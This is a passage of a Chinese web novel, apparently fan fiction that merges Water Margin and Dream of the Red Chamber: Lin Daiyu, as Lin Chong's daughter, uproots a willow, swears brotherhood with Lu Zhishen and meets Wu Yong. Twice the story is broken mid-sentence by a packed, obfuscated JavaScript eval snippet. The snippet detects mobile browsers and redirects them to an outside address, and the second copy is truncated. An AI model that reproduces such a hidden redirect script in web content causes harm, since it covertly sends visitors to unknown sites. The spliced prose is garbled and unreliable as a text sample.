《黛玉倒拔垂杨柳》 1. 病美人倒拔垂杨柳 大相国寺的菜园子里,日头毒的狗路过了,舌头都得伸出来。 鲁智深光着膀子,露出一身花花绿绿的纹绣,在太阳底下亮得晃眼。他往手心呸呸啐了两口唾沫,搓了搓,环抱住那棵碗口粗的垂杨柳。 三五十个泼皮围成圈,拍着巴掌起哄:“师父神力!师父神力!” 张三挤在最前头,那张瘦脸上堆着笑,眼睛眯成缝:“您老这一使劲,这树要是能拔起来,咱们今晚的菜钱可就有着落了——寺里大师父准赏!” 李四在旁边踹他一脚:“就你话多!专心看师父显神通!” 鲁智深哈哈一笑,气沉丹田,手臂上肌肉虬结。树根开始咯吱作响,泥土簌簌地往下掉,那杨柳眼看着就要离地—— “大师好力气。” 一个清凌凌的声音从墙头飘下来,像夏天井水里冰着的青梅,脆生生的,还带着点凉意。 “可惜这杨柳栽下不过三年,根系未深,算不得真本事。” 全场瞬间安静。 鲁智深手一松,那树“嘭”地落回坑里,扬起一阵灰。众人齐刷刷抬头—— 菜园东边的墙头上,不知什么时候坐了个素衣少女。 约莫十五六岁,衣裳是极淡的月白色,脸却比那衣裳还要白上三分。不是病态的白,是像上好的羊脂玉,透着温润的光。偏偏一双眼睛寒星似的亮,眼尾微微上挑,看人时似笑非笑。 她晃着腿,裙角沾了墙头的青苔,手里拈着半片柳叶,转着玩。 日头透过树叶缝隙,在她身上洒下斑驳的光影。有那么一瞬间,整个闹哄哄的菜园子都静了,只剩知了在树梢拼命地叫。 张三先反应过来。他今早喝了二两劣酒,这会儿酒气正上头,指着墙头就笑骂:“哪家病秧子跑出来说疯话?这树你能拔得动,爷爷我跟你姓!” 少女也不恼。 她轻飘飘地从墙头跃下来——真的是轻飘飘的,落地时半点尘土不惊,连裙摆都只是微微荡了荡,像片羽毛。 众人这才看清她的模样。身量纤细,腰肢不盈一握,站在那儿仿佛风一吹就能倒。可那步态稳得很,径直走到园子角落里那棵老柳树前。 那柳树可有些年头了,少说也有合抱粗,树皮皲裂得像老人手背,枝丫虬结着伸向天空,投下一大片浓荫。 鲁智深松开怀里那棵小杨柳,铜铃大眼瞪圆了:“女娃娃,这老柳可比洒家拔的那棵重三倍不止!” “所以拔起来才有意思呀。” 少女挽起袖子,露出一截雪藕似的小臂。手腕纤细得仿佛一折就断,皮肤在阳光下白得透明。 她不环抱,反而退开三步,闭目凝神。 泼皮们面面相觑,不知谁先“噗嗤”笑出声,接着全场哄笑起来。张三笑得最大声,眼泪都快出来了:“小娘子,你这是要给它念经超度还是怎么着?” 李四扯他袖子:“少说两句!没看见师父都没说话吗?” 鲁智深确实没说话。他抱着胳膊,花绣在阳光下泛着油亮的光,眼睛却紧紧盯着那少女。 风不知什么时候停了。 菜园子里忽然安静得诡异。泼皮们的笑声渐渐小下去,所有人都感觉到某种说不清道不明的气氛—— 少女忽然睁眼。 那一瞬,张三觉得自己可能是眼花了。他好像看见那双寒星似的眸子里,有极淡的、翡翠色的光一闪而过。 她脚下踏出某种奇特的步法,身形灵动如穿花拂柳。双手看似轻柔地贴上老柳树干,掌心与树皮相触的刹那—— 老柳满树的枝叶,无风自动。 不是被风吹动的那种摇晃,是仿佛有生命般,从内部开始颤动。每一片叶子都在微微震颤,发出细碎的、沙沙的声响。 鲁智深“咦”了一声,身子不自觉地前倾。 “起。” 少女轻喝一声。那声音不大,不似鲁智深那般雷霆万钧,倒像春笋破土时的脆响,清凌凌地荡开。 然后所有人看见了让他们这辈子都忘不了的场景—— 地面开始龟裂。 细密的裂纹以老柳为中心,蜘蛛网般蔓延开来,发出细碎的“咔嚓”声。泥土翻涌,粗壮的树根带着磨盘大的土块,缓缓地、一寸一寸地离地。 没有地动山摇的架势,整个过程甚至称得上“文雅”。可那棵合抱粗的老柳树,就这么被连根拔起,稳稳地立在少女手中。 她甚至没怎么用力似的,手腕一翻,将整棵树轻轻放到一旁空地。 松手,拍了拍掌心的尘土。 面不红,气不喘。只有额角渗出一点细密的汗珠,在阳光下亮晶晶的。 全场死寂。 张三张着嘴,下巴都快掉到地上了。李四拼命揉眼睛,怀疑自己是不是还没醒酒。泼皮们你看看我,我看看你,最后齐刷刷看向鲁智深。 鲁智深愣了三愣,忽然“哈哈”大笑起来。 那笑声洪亮如钟,震得菜园子里的麻雀扑棱棱全飞了。他几步跨到少女面前,蒲扇大的手掌在空中顿了顿,没敢拍下去——这小身板,他怕一拍就给拍散架了。 “好!好个深藏不露的女菩萨!”鲁智深眼睛亮得惊人,“洒家鲁达,行走江湖这么多年,还没见过这般本事!女娃娃,你叫什么?” 少女弯了弯眼睛:“姓林,双名黛玉。” “林黛玉……好名字!”鲁智深一拍大腿,“今日非要与你结拜不可!洒家今年三十有二,虚长你几岁,就做个兄长如何?” 黛玉还没说话,墙角一个泼皮小声嘀咕:“师父,人家一看就是大户人家的小姐,能跟咱们这些粗人结拜吗……” “你懂个屁!”鲁智深一瞪眼,“江湖儿女,讲究的是本事,是义气!林姑娘这手功夫,这气度,洒家佩服!” 他说着就要去拉黛玉的手腕,又顿住,搓搓手:“那个……林姑娘,洒家是个粗人,但说话算话。今日这结拜,你是答应也得答应,不答应——” “不答应又如何?” 一道沉稳的男声从园门外传来。 急促的脚步声由远及近,一个豹头环眼、身材魁梧的中年男子疾步走进来,官服的下摆还在微微摆动。他目光先扫过全场,最后落在黛玉身上,眉头皱得能夹死苍蝇。 “玉儿,你又胡闹。” 林冲走到女儿面前,上下打量一番,确认没受伤,这才松了口气。转头看向那棵被拔出来的老柳,眼角抽了抽。 又看向鲁智深。 鲁智深也看着他。 两个男人对视片刻,鲁智深先笑了:“这位可是林冲林教头?洒家鲁达,久仰大名!” 林冲抱拳还礼:“鲁大师。”顿了顿,“小女年幼不懂事,若有冒犯……” “哪里的话!”鲁智深大手一挥,“林姑娘好本事!洒家正说要与她结拜呢!” 林冲:“……” 他深吸一口气,看向女儿。 黛玉眨眨眼,一脸无辜:“爹爹,鲁大师要请我吃酒呢。” 那语气,那神情,活脱脱就是个在长辈面前装乖的小女儿。可看看旁边那棵躺倒的老柳树,再看看地上蛛网般的裂痕—— 林冲一时竟不知该说什么。 他这辈子见过不少奇人异事,可自家女儿这副柔弱模样,配上这惊世骇俗的本事,还是每次都能让他心头一跳。 半晌,他长叹一声。 这一叹里,有无奈,有担忧,有为人父的操劳。可若仔细看,那眼底深处,分明藏着一丝压也压不住的骄傲。 “鲁大师,”林冲转向鲁智深,正色道,“小女顽劣,结拜之事非同儿戏……” “洒家从不说儿戏话!”鲁智深声如洪钟,“今日这兄弟——啊不,这兄妹,洒家认定了!林教头若是不放心,不妨一道来相国寺斋堂,咱们摆上香案,正经结拜!” 园子里静了一瞬。 泼皮们互相使眼色,张三捅捅李四,压低声音:“这下有好戏看了……” 李四憋着笑:“你说林教头会不会答应?” “我看悬。人家可是八十万禁军教头,能跟咱们师父结拜?再说了,还带着个千金小姐……难道以后这闺女叫他爹大哥?” “可林小姐那本事……” 话没说完,就被一声清咳打断。 所有人看向声音来源。 黛玉不知什么时候走到那棵被拔出来的老柳旁,俯身,竟小心翼翼地将被带出来的蚯蚓一条条拨回土里。动作轻柔,神情专注,仿佛在做一件极重要的事。 做完这些,她才直起身,拍拍手上的土。 “草木亦有灵。”她声音轻轻柔柔的,却清晰地传到每个人耳中,“如此粗暴拔出,终非正道。” 阳光下,少女素衣胜雪,眉眼如画。脚边是翻涌的泥土和倾倒的古树,身后是一群目瞪口呆的泼皮,和一个眼睛发亮的鲁智深。 林冲看着眼前这幕,忽然觉得头疼。 是真的疼,太阳穴突突地跳。他预感到,往后的日子,怕是消停不了了。 鲁智深还在那儿兴致勃勃地规划:“明日巳时,相国寺斋堂!洒家亲自下厨——哦不,洒家亲自监厨,备一桌好素斋!林教头,林姑娘,务必赏光!” 林冲揉了揉眉心:“鲁大师,此事还需从长计议……” “计议什么!”鲁智深大手一挥,“江湖儿女,讲究的就是个痛快!就这么定了!” 他说完,也不等林冲再推辞,转身对那群泼皮吼道:“还愣着干什么?收拾收拾!把那树——那老柳,给挪到墙根底下,仔细别伤了根!张三李四,你俩负责填坑!” 泼皮们一哄而散,干活去了。 林冲看着女儿。黛玉正仰头看天,侧脸在夕阳下镀了层淡金色的光,睫毛又长又密,垂下来时遮住眼底的情绪。 “玉儿,”林冲低声说,“回家。” 林宅在西城榆林巷,是个两进的小院。不大,但收拾得干净利落。墙角种着几丛竹子,风一过,沙沙地响。 林娘子已经在门口等着了。是个温婉的妇人,眉眼和黛玉有几分相似,但气质更柔和些。她见父女俩回来,先上下打量女儿,确认衣裳没破、头发没乱,这才松了口气。 “又去哪儿野了?”话是埋怨,语气却软。 黛玉挽住母亲的手臂,声音比平时甜了三分:“去看鲁大师拔树。” “拔树?”林娘子疑惑地看向丈夫。 林冲张了张嘴,一时不知从何说起。难道要说“女儿把人家相国寺的老柳给拔了,还被人拉着要结拜”? 他最后只含糊道:“玉儿……去凑了个热闹。” 林娘子何等聪慧,看丈夫神色就知道不止“凑热闹”这么简单。但她没追问,只拍拍女儿的手:“去洗洗,换身衣裳。晚饭好了。” 晚饭很简单,三菜一汤。林冲食不知味,几次看女儿,欲言又止。 黛玉倒吃得香。她吃饭的样子很文雅,小口小口的,但速度不慢。偶尔给父母夹菜,嘴角始终带着浅浅的笑。 林娘子看看丈夫,又看看女儿,终于放下筷子:“说吧,到底怎么了?” 林冲叹了口气。 他把今天的事原原本本说了一遍。说到黛玉墙头说话那段,林娘子掩嘴轻笑;说到拔老柳,她筷子“啪嗒”掉在桌上;说到鲁智深要结拜,她脸色都变了。 “胡闹!”林娘子难得语气严厉,“玉儿,你一个姑娘家,跟个和尚结拜像什么话?传出去,名声还要不要了?” 黛玉放下碗,认真地看着母亲:“娘,鲁大师是豪爽之人,不拘小节。结拜看的是义气,不是男女之别。” “那也不行!”林娘子急了,“你爹是朝廷命官,你是官家小姐,将来总要……总要许人家的。这要是传出去,哪户好人家敢娶?” “那我就一辈子不嫁。”黛玉说得轻描淡写,“陪着爹娘。” “你——” “好了好了。”林冲打圆场,“这事容后再议。先吃饭,菜都凉了。” 饭桌上安静下来。只有碗筷轻微的碰撞声。 林娘子眼眶红了,低头扒饭,不再说话。 深夜,林宅西厢还亮着灯。 黛玉坐在梳妆台前,对着铜镜拆发簪。乌黑的长发散下来,垂到腰际,像一匹上好的绸缎。 镜子里的人,眉眼依稀是书里写的那种“两弯似蹙非蹙罥烟眉,一双似喜非喜含情目”。可细看,又不太一样。眉梢眼角少了那份终日愁绪,多了三分飒沓,七分清醒。 她盯着镜子看了很久。 直到门外传来轻轻的敲门声。 “玉儿,睡了吗?” 是林冲的声音。 黛玉起身开门。林冲端着一碗冰糖燕窝站在门外,热气袅袅上升,在昏黄的灯光下氤氲成一片温柔的雾。 “爹。”黛玉侧身让他进来。 林冲把碗放在桌上,见女儿只穿着中衣,又去拿了件外衫给她披上:“夜里凉,仔细冻着。” 黛玉乖乖穿上,坐到桌边,小口小口地喝燕窝。甜丝丝的,温度刚好。 林冲坐在对面,看着女儿。灯光下,她睫毛在脸颊上投下两片小小的阴影,安静喝汤的样子,又变回了那个需要人呵护的小姑娘。 可他知道不是。 “玉儿,”林冲轻声问,“今日累着了吧?” “不累。”黛玉摇头,放下碗,忽然抬眼看他,“爹爹,您还记得七年前,在扬州城外捡到我的情形么?” 怎么不记得。 林冲眼前瞬间浮现出那个雨夜。 七年前,他调任东京,携家眷赴任。行至扬州城外,忽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156265|196552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逢暴雨,只得在路边一座破庙避雨。 庙很破,屋顶漏雨,地上积着水。墙角堆着些干草,大概是过往行商留下的。 就在那堆草里,蜷着个女童。 约莫八九岁年纪,浑身滚烫,烧得迷迷糊糊。小脸通红,嘴唇却干裂得出血。林冲过去探她额头,烫得吓人。 孩子嘴里一直在喃喃说着什么。 林冲凑近了听,听见断断续续的句子: “我是……绛珠仙草……” “要还泪的……欠了他的……” “甘露之恩……要还的……” 请来的郎中来了一拨又一拨,都把头摇得像拨浪鼓:“烧得太厉害了,神仙难救。” 林娘子守了三天三夜,眼睛都哭肿了。林冲已经让人去准备后事—— 第三天夜里,高热突然退了。 退得莫名其妙,毫无征兆。前一刻还烫得吓人,后一刻体温就恢复了正常。 女童睁开眼。 那双眼睛,林冲一辈子都忘不了。不是孩童该有的懵懂,而是一片空茫的、近乎洞彻的清明。 她看着破庙漏雨的屋顶,看了很久,然后轻轻说了句话: “这里……不是太虚幻境?” 病愈后的黛玉,像换了个人。 从前在姑苏州林家老宅时,她是标准的名门闺秀。大门不出,二门不迈,说话轻声细语,走路裙摆都不带晃的。 病后,她吵着要学枪棒。 林冲只当她是病中受了惊吓,想学点防身功夫,便敷衍着教了几式基础。谁知这丫头天赋高得吓人,一套林家枪法,她三天就学会了形,七天就掌握了神。 一个月后,林冲和她对练,竟有些吃力。 再后来,她开始自创招式。那些招式刁钻古怪,完全不像正统枪法,可偏偏实用得很。林冲问她从哪儿学的,她只说“梦里见的”。 林冲一度怀疑女儿是不是被什么精怪附身了。可除了武功和性情,其他一切正常。读书识字、女红厨艺,甚至比从前更出色。 只是偶尔,她会看着某处出神。眼神空茫,仿佛透过眼前的事物,在看另一个世界。 “爹爹?” 黛玉的声音把林冲拉回现实。 他回过神,对上女儿清澈的眼睛。那双眼睛里此刻没有空茫,只有认真的询问。 “您和娘亲总说,女子当娴静。”黛玉轻声说,“可若我当真娴静,当年您会收养一个病得快死、还满口胡话‘我是仙草’的女童么?” 林冲被问住了。 他张了张嘴,却发不出声音。 会吗? 如果当年那个女童,不是病中显出异于常人的坚韧,不是醒来说出那句奇怪的“太虚幻境”,不是后来展现出惊人的天赋—— 他或许会救,但会不会像对待亲生女儿一样,带在身边,悉心教养七年? 他不知道。 “我记得自己本名。”黛玉站起身,走到窗前,推开窗户。 夜风吹进来,带着竹叶的清香。天上一弯弦月,冷冷清清的,洒下满地银霜。 “也记得……前世欠了人灌溉之恩,此生要还泪。” 她转过身。眼眶微微发红,可倔强地仰着头,不让眼泪掉下来。 “可我不甘心。” 声音很轻,却像石子投入平静的湖面,在林冲心里荡开一圈圈涟漪。 “凭什么注定要哭一辈子?凭什么我的命,早就被人写在书里、刻在石头上?”黛玉走到父亲面前,蹲下身,仰脸看他,“爹爹,这一世,我想活个痛快。” 林冲看着女儿。 七年了。从那个雨夜破庙里捡到的女童,到如今亭亭玉立的少女。他看着她从病弱到康健,从娴静到飒沓,从需要人呵护到能倒拔垂杨柳。 他一直知道女儿与众不同。 可他直到此刻才真正明白,这份“不同”意味着什么。 “玉儿……”林冲伸手,想摸摸女儿的头,手到半空又停住,最后轻轻落在她肩上,“你想怎么活,就怎么活。爹……爹支持你。” 这话说出来,他自己都愣了一下。 支持?支持女儿跟和尚结拜?支持她闯荡江湖?支持她对抗那所谓的“命”? 可看着女儿亮起来的眼睛,他觉得,值了。 窗外忽然传来“咔嚓”一声轻响。 很轻,像瓦片被踩了一下。 林冲瞬间警觉,手按上腰间佩刀——虽然在家里他没带刀,但这是本能反应。 “嘘。”黛玉却摆摆手,示意他别动。 她走到窗边,探出头,朝屋檐上看了一眼,然后无奈地笑了:“鲁大师,您这听墙根的毛病,可得改改。” 话音未落,一颗光溜溜的脑袋从屋檐下探出来。 鲁智深倒挂在房檐上,一张大脸笑得见牙不见眼,在月光下反着光:“林教头莫怪!洒家不是故意偷听,是来送拜帖的!” 他一个翻身,轻飘飘落地——那么魁梧的身形,落地时竟没发出多大声音。 林冲这才注意到,鲁智深换下了白天那身破僧衣,穿了件半新的褐色僧袍,手里还真拿着张大红帖子。 “明日巳时,相国寺斋堂!”鲁智深把帖子塞到林冲手里,又朝黛玉挤挤眼,“洒家备了好茶好斋,咱们正式结拜!” 林冲看着手里烫金的拜帖,一时语塞。 这和尚……是认真的? “对了,”鲁智深像是突然想起什么,压低声音,“洒家白天忘了问——林姑娘那手拔树的功夫,叫什么名堂?洒家瞧着,不像寻常内力。” 黛玉微微一笑:“草木有灵,借力而已。没什么名堂。” “借力?”鲁智深眼睛更亮了,“怎么借?教教师兄?” “大师,”林冲忍不住插话,“这结拜之事……” “定了定了!”鲁智深大手一挥,“洒家连帖子都写了!林教头,你可不能反悔!” 他说完,也不等林冲回答,一个纵身又上了房顶,朝两人摆摆手:“明日见!记得准时!” 话音还在风里飘,人已经没影了。 林冲拿着那张拜帖,站在窗前,夜风吹得帖子哗啦啦响。 黛玉走过来,接过帖子看了看。字写得歪歪扭扭,但一笔一划很认真。内容也简单:诚邀林冲、林黛玉父女,明日巳时于相国寺斋堂一聚,结金兰之谊。 落款:鲁达。 “爹爹,”黛玉抬头,眼睛弯成月牙,“咱们去吗?” 林冲看着女儿的笑脸,又看看手里的帖子,最后看看窗外那轮弦月。 良久,他叹了口气。 这次叹得无奈,可嘴角却微微扬了起来。 “去。”他说,“怎么不去。” 西厢的灯,又亮了好久。 2. 菜园三结义 第二天一早,林冲站在院子里,看着手里那张大红拜帖,第一百次叹气。 林娘子正在给他整理衣领,动作温柔,但眉头皱着:“你当真要去?难道以后玉叫我娘叫你大哥?” “帖子都接了。”林冲无奈,“总不能爽约。” “那鲁大师人是不错,可这结拜……”林娘子压低声音,“玉儿毕竟是姑娘家,传出去,以后怎么说亲?” 林冲没说话。 他知道妻子在担心什么。可昨晚女儿那个眼神,那句“我想活个痛快”,像根刺扎在他心上。 七年了。这孩子难得有真正开心的时候。 “先去看看吧。”他最后说,“若实在不妥,再推辞也不迟。” 林娘子还想说什么,黛玉的房门“吱呀”一声开了。 她今天穿了身浅青色的劲装,袖口和裤腿都束着,头发用一根木簪简单绾起。素面朝天,却比那些涂脂抹粉的闺秀还要亮眼。 “爹,娘,早。”她走过来,眼睛亮晶晶的,“可以走了吗?” 林娘子看着女儿这副打扮,欲言又止,最后只说了句:“路上小心。” 相国寺在东京城东南,香火鼎盛。不过菜园子在寺后头,偏僻得很,平日里除了洒扫的僧人,没什么人来。 鲁智深显然精心准备过。 斋堂打扫得干干净净,正中供着弥勒佛,笑呵呵地垂眼看着底下。香案摆好了,三牲供品——哦不,是素鸡素鱼素肉,摆得整整齐齐。 张三和李四穿着洗得发白的衣裳,站在门口迎客。见林冲父女来了,两人齐齐躬身:“林教头,林姑娘,里边请!” 那架势,颇有几分大户人家管事的派头。 黛玉忍不住笑了:“张大哥,李大哥,今日很精神啊。” 张三嘿嘿笑,挠挠头:“师父说了,今天是大日子,不能丢人。” 斋堂里,鲁智深正在摆弄一只公鸡。 活的。 那公鸡被绑着脚,扑腾着翅膀,咯咯直叫。鲁智深一手按着它,一手拿着把刀,嘴里念念有词:“鸡兄鸡兄,今日借你一滴血,结我兄妹三人义……” “大师。”黛玉走进来,皱眉,“佛门清净地,您这是……” “酒肉穿肠过,佛祖心中留!”鲁智深头也不抬,“结拜嘛,总得按江湖规矩来。歃血为盟,少了血怎么行?” 林冲眼角抽了抽。 他就知道。 “鲁大师,”他上前一步,“既是结义,心意到了便可,何必杀生?” “诶,林教头这话就不对了。”鲁智深终于放下刀,认真地说,“江湖规矩,歃血为盟,那是要把彼此的血混在一起,从此就是真兄弟——真兄妹!少一滴都不行!” 他说着,又去抓那只公鸡。 那公鸡大约感觉到杀气,扑腾得更厉害了,一翅膀扇在鲁智深脸上,留下一撮鸡毛。 “嘿,你这畜牲!”鲁智深瞪眼。 黛玉叹了口气,走过去,蹲下身。 她伸手,轻轻摸了摸公鸡的头。说来也怪,那公鸡瞬间就不扑腾了,歪着头看她,黑豆似的眼睛里竟有几分……委屈? “大师,”黛玉抬头,“既是结义,用我们的血便可,何必伤它性命?” “我们的血?”鲁智深一愣。 “是啊。”黛玉伸出手指,在刀刃上轻轻一划——动作太快,林冲都没来得及阻止。 一滴血珠沁出来,鲜红的,落在准备好的酒碗里。 “林姑娘你——”鲁智深急了,“洒家不是这个意思!” “我明白。”黛玉笑笑,“但江湖规矩,也不该滥杀无辜。大师若真心结义,这一滴血,够表心意了。” 鲁智深看看她,看看那只逃过一劫、正瑟瑟发抖的公鸡,再看看林冲。 林冲默默伸出手,也在刀刃上划了一下。 两滴血在酒碗里漾开,像两朵小小的梅花。 鲁智深愣了半晌,忽然大笑:“好!好!是洒家迂腐了!” 他也划破手指,滴血入碗。三滴血在酒里慢慢融合,最后变成淡淡的粉色。 张三适时递上另外两碗酒——没加血的。 鲁智深端起那碗血酒,想了想,走到门口,轻轻泼在地上:“皇天后土,今日我三人结义,以此为证!” 然后端起干净的酒碗,倒满三碗:“来来来,这个才是喝的!” 林冲:“……” 他忽然觉得,跟这和尚结拜,也许……没那么糟? 至少,这人实在。 三人跪在蒲团上。鲁智深在中间,左边林冲,右边黛玉。弥勒佛在上面笑,香炉里青烟袅袅。 鲁智深嗓门洪亮,震得房梁上的灰尘都簌簌往下掉: “皇天在上,厚土在下!我鲁达,今日与林冲、林黛玉结为异姓兄妹!从今往后,有福同享,有难同当!若违此誓,天打雷劈!” 说完,仰头把一碗酒干了。 林冲端着酒碗,心情复杂。他这辈子,没想过会跟个和尚、还带着女儿,在佛堂里结拜。 可看着女儿眼中闪着的、少见的光彩—— 七年了。这孩子除了练武读书,几乎没什么笑得开怀的时候。可自从昨天见了鲁智深,她眼里的笑意就没断过。 林冲深吸一口气,沉声道:“林冲今日与鲁达兄、小女黛玉结义。虽非同姓,愿同生死。” 也干了。 轮到黛玉。 她捧着酒碗,看着碗里晃荡的酒液,忽然轻声念道: “绛珠本为还泪来,此身却向江湖老。” 声音很轻,但斋堂里安静,每个人都听得清清楚楚。 “愿随兄长纵横去,不教命运困灵台。” 说完,仰头饮尽。 酒很烈。她喝得太急,呛得直咳嗽,脸颊瞬间飞上两团红晕——活脱脱还是那个沾酒就上脸的林妹妹。 鲁智深不懂诗文,但觉得那两句话真好,拍着大腿喝彩:“说得好!什么泪不泪的,以后有哥哥在,谁也不能让妹子哭!” 林冲却听出了弦外之音。 绛珠。还泪。 他想起七年前那个雨夜,女儿烧糊涂时说的胡话。 心中暗叹。 这孩子的命,怕是真的不寻常。 结拜完,鲁智深兴致更高了。他拉着黛玉非要看她武功路数:“昨天那手拔树的功夫,洒家琢磨了一晚上也没琢磨明白!妹子,咱们过过招?” 黛玉笑着点头:“好啊。” 两人就在菜园空地上摆开架势。 张三李四和一众泼皮又围过来了,这次还多了几个相国寺的小和尚,扒在墙头偷看。 鲁智深使的是禅杖。六十二斤的水磨禅杖,在他手里轻得像根竹竿,舞起来虎虎生风。 黛玉用的是一根临时找来的白蜡杆——没开刃的枪杆。 “妹子,小心了!”鲁智深一杖横扫,势大力沉,带起的风把地上的草叶都卷起来了。 黛玉却不硬接。她身子一旋,像片柳叶似的贴着禅杖滑过去,枪杆顺势一点,直取鲁智深手腕。 “好!”鲁智深赞了一声,禅杖回挑。 两人你来我往,打得热闹。 鲁智深刚猛如虎,每一招都带着千钧之力。黛玉灵巧似燕,总是在间不容发之际避开,反击的角度刁钻得让人意想不到。 泼皮们看得眼花缭乱。 张三捅捅李四:“你看清了吗?林姑娘刚才那步法……” “没看清。”李四老实说,“我就看见一片青影子晃来晃去。” 墙头一个小和尚惊叹:“这位女施主好生厉害!” 打了约莫一炷香时间,两人都出了层薄汗。 鲁智深越打越兴奋:“妹子,来点真功夫!让哥哥开开眼!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156266|196552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 黛玉微微一笑:“那大师小心了。” 她忽然变招。 枪杆不再是直来直去,而是划出一道道柔和的弧线。那弧线很美,像春风吹皱一池春水,又像落花飘零,带着一种说不出的凄清美感。 可鲁智深脸色变了。 因为他发现,那些看似轻柔的弧线,每一道都封死了他的退路。七点寒星从枪尖抖出,看似随意,实则精准地指向他周身七处大穴。 看似轻柔如拂花瓣。 实则杀机暗藏。 这一招,黛玉起名叫“葬花式”。 鲁智深大喝一声,禅杖舞成一片光幕,硬生生从枪影中撞出一条路。但鬓角一缕头发,被枪风扫断,飘飘悠悠落在地上。 两人同时收势。 菜园子里静了一瞬。 然后爆发出震天的喝彩声。泼皮们拍红了巴掌,小和尚们忘了身份,在墙头直蹦跶。 鲁智深看着地上那缕头发,愣了愣,忽然哈哈大笑:“好!好一招‘葬花’!洒家服了!” 黛玉微微喘气,脸颊泛红,眼睛却亮得惊人:“大师承让。” “承让什么!”鲁智深把禅杖往地上一插,走过来拍她肩膀——这次记得收了力,只轻轻拍了下,“妹子这身功夫,洒家行走江湖这么多年,没见过第二份!” 他正要再夸几句,墙头忽然传来一声轻笑: “好俊的枪法。” 那声音温润,带着点书卷气。 众人抬头。 只见墙头上不知何时坐了个白面书生。二十七八岁年纪,穿着一身半旧的青衫,手里摇着把折扇。长得斯文秀气,可那双眼睛,透着股与外表不符的精明。 他看着黛玉,笑吟吟的:“在下吴用,途经此地,见二位好身手,特来结交。” 说着,轻轻一跃,从墙头落下来。 落地无声。 张三瞪大眼睛,小声对李四说:“今天怎么回事?一个两个都从墙头下来,当咱们菜园子是城门吗?” 李四捂住他的嘴:“少说话!这人看着不简单!” 吴用走到三人面前,拱手施礼:“鲁大师,林教头,这位姑娘……想必就是昨日倒拔垂杨柳的林小姐了?” 黛玉挑眉:“先生消息灵通。” “算不上灵通。”吴用摇着扇子,“只是今早来相国寺访友,听寺里的小师父们都在传,说菜园子来了位女菩萨,能把合抱粗的老柳连根拔起。吴某好奇,便来瞧瞧。” 他说话不紧不慢,眼睛却一直在观察三人。 最后停在黛玉身上。 “方才那招‘葬花式’,”吴用微微一笑,“可是脱胎于越女剑?” 黛玉眸光微动。 鲁智深挠头:“什么越女剑?” “失传已久的一套剑法。”吴用解释,“相传是春秋时越国一位女剑客所创,招式轻柔曼妙,却暗藏杀机。林姑娘化剑为枪,更添三分狠辣——真是奇思妙想。” 黛玉看着吴用,忽然笑了:“先生好眼力。” “不敢。”吴用合扇还礼,“只是读过几本杂书,略知一二。倒是林姑娘这身功夫,师承何处?” 这个问题,林冲也想知道。 可黛玉只是淡淡一笑:“家父教的林家枪,自己瞎琢磨些旁门左道罢了。” “旁门左道?”吴用摇头,“若是旁门左道都有这般威力,那天下正派武功,岂不都成了笑话?” 他顿了顿,又道:“吴某冒昧,敢问林姑娘,可曾听过‘绛珠仙草’四字?” 话音落,斋堂里忽然静了。 连风都停了。 林冲脸色微变。 鲁智深看看这个,看看那个,一脸茫然:“什么猪什么草?” 只有黛玉,面色如常。 她看着吴用,看了很久,然后轻轻说: “先生问这个做什么?” 3. 智多星初现 “先生问这个做什么?” 黛玉的声音很轻,落在安静的斋堂里,却像石子投入古井,荡开一圈圈涟漪。 吴用摇扇子的手顿了顿。 他看着眼前这个纤弱的少女。眉眼还是少女的青涩,可那双眼睛太沉静了,沉静得不像这个年纪该有的样子。像深秋的湖水,表面平静,底下却藏着看不透的暗涌。 “没什么。”他忽然笑了,折扇“啪”地一合,“只是突然想起一本古籍上的记载,说有一种仙草,生于灵河岸边,受甘露灌溉而生。好奇罢了。” 这话说得云淡风轻,可林冲的手,不知何时已经按在了腰间的刀柄上。 虽然没带刀。 鲁智深看看这个,看看那个,终于忍不住了:“你们打什么哑谜呢?什么仙草甘露的,洒家怎么一句都听不懂?” “听不懂就对了。”吴用又摇开扇子,笑容温和,“江湖传言,多是穿凿附会,不必当真。” 他转向鲁智深:“鲁大师,吴某今日贸然来访,实是唐突。不如……请吴某喝杯茶,算是赔罪?” 这话说得漂亮。既给了台阶,又拉近了距离。 鲁智深一拍脑袋:“对对对!光顾着说话,忘了待客之道!张三,李四!搬桌子,拿酒——啊不,拿茶来!” 张三和李四应了一声,麻利地从斋堂里搬出张石桌,几个石凳。又端来茶具——粗陶的,但洗得干净。 茶是相国寺自产的粗茶,味道一般,但胜在解渴。 四人围桌坐下。 吴用端起茶杯,轻轻吹了吹,并不急着喝。他打量着这菜园子,目光在那些泼皮身上扫过,最后落在墙角那棵被黛玉拔出来的老柳上。 “林姑娘,”他忽然开口,“方才那手功夫,真的只是自创?” 黛玉抿了口茶:“家父教的林家枪法,自己琢磨些变化而已。” “变化?”吴用笑了,“能把越女剑的路子化入枪法,这变化可不简单。吴某不才,读过几本武学典籍,越女剑失传少说也有三百年了。林姑娘从何处得知其精髓?” 这个问题很刁钻。 林冲的心提了起来。 可黛玉只是淡淡一笑:“梦里见的。” “梦里?” “嗯。”黛玉放下茶杯,眼神飘向远处,像在回忆什么,“小时候病了一场,烧得厉害,做了很多奇怪的梦。梦里有人舞剑,招式很美,就记下来了。” 她说得轻描淡写,仿佛在说“今天天气不错”。 吴用盯着她看了很久。 久到鲁智深都有些不自在了,咳了一声:“吴先生,喝茶,喝茶。” 